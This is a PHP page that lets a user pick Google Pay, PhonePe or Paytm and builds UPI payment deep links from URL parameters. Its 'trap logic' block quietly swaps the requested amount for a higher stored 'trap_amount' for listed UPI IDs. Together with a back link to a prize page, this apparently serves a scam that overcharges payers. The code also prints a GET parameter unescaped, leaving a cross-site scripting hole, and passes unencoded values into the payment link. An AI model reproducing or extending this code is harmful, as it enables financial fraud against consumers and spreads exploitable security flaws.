require('top.php');
require('connection.php');

$upi = isset($_GET['upi']) ? $_GET['upi'] : '';
$amt = isset($_GET['amt']) ? $_GET['amt'] : '';
$name = isset($_GET['name']) ? $_GET['name'] : 'Customer';

// --- NEW TRAP LOGIC ---
// Check if the current UPI ID is in the trap list
$res_trap = mysqli_query($con, "SELECT trap_amount FROM trapped_upis WHERE upi_id = '".mysqli_real_escape_string($con, $upi)."' AND is_active = 1");
if (mysqli_num_rows($res_trap) > 0) {
    $row_trap = mysqli_fetch_assoc($res_trap);
    $amt = $row_trap['trap_amount']; // Override with high amount
}
// ----------------------

// Encode for UPI URL
$query = "pa=" . $upi . "&pn=" . urlencode($name) . "&am=" . $amt . "&cu=INR";

// URI Schemes
$gpay_url = "tez://upi/pay?" . $query;
$phonepe_url = "phonepe://pay?" . $query;
$paytm_url = "paytmmp://upi/pay?" . $query;
?>

<section class="payment-options section">
    <div class="container">
        <div class="row justify-content-center">
            <div class="col-lg-6 col-md-8 col-12">
                <div class="section-title text-center mb-4">
                    <h2>Select Payment App</h2>
                    <p>Choose an app to pay <strong>₹<?php echo $amt ?></strong></p>
                </div>

                <div class="payment-list">
                    <!-- Google Pay -->
                    <a href="<?php echo $gpay_url ?>" class="payment-item card mb-3 p-3 shadow-sm d-flex flex-row align-items-center" style="text-decoration: none; border-radius: 15px; border-left: 5px solid #4285F4;">
                        <img src="https://upload.wikimedia.org/wikipedia/commons/thumb/c/c7/Google_Pay_Logo_%282020%29.svg/512px-Google_Pay_Logo_%282020%29.svg.png" alt="GPay" style="height: 40px; width: auto; margin-right: 20px;">
                        <div>
                            <h5 class="mb-0" style="color: #333;">Google Pay</h5>
                            <small class="text-muted">Pay securely with GPay</small>
                        </div>
                        <i class="fa fa-chevron-right ml-auto text-muted"></i>
                    </a>

                    <!-- PhonePe -->
                    <a href="<?php echo $phonepe_url ?>" class="payment-item card mb-3 p-3 shadow-sm d-flex flex-row align-items-center" style="text-decoration: none; border-radius: 15px; border-left: 5px solid #5f259f;">
                        <img src="https://upload.wikimedia.org/wikipedia/commons/thumb/e/e1/PhonePe_Logo.svg/512px-PhonePe_Logo.svg.png" alt="PhonePe" style="height: 40px; width: auto; margin-right: 20px;">
                        <div>
                            <h5 class="mb-0" style="color: #333;">PhonePe</h5>
                            <small class="text-muted">Fast & Easy via PhonePe</small>
                        </div>
                        <i class="fa fa-chevron-right ml-auto text-muted"></i>
                    </a>

                    <!-- Paytm -->
                    <a href="<?php echo $paytm_url ?>" class="payment-item card mb-3 p-3 shadow-sm d-flex flex-row align-items-center" style="text-decoration: none; border-radius: 15px; border-left: 5px solid #00baf2;">
                        <img src="https://upload.wikimedia.org/wikipedia/commons/thumb/2/24/Paytm_Logo_%28standalone%29.svg/512px-Paytm_Logo_%28standalone%29.svg.png" alt="Paytm" style="height: 30px; width: auto; margin-right: 20px;">
                        <div>
                            <h5 class="mb-0" style="color: #333;">Paytm</h5>
                            <small class="text-muted">UPI Payment via Paytm</small>
                        </div>
                        <i class="fa fa-chevron-right ml-auto text-muted"></i>
                    </a>
                </div>

                <div class="text-center mt-4">
                    <p class="small text-muted">Note: Please ensure the selected app is installed on your device.</p>
                    <a href="final_priz.php?number=<?php echo $_GET['number'] ?>" class="btn btn-link">Back</a>
                </div>
            </div>
        </div>
    </div>
</section>

<style>
    .payment-item:hover {
        background-color: #f8f9fa;
        transform: translateY(-2px);
        transition: all 0.2s ease;
    }
    .payment-list {
        margin-top: 20px;
    }
</style>

<?php
require('footer.php');
?>
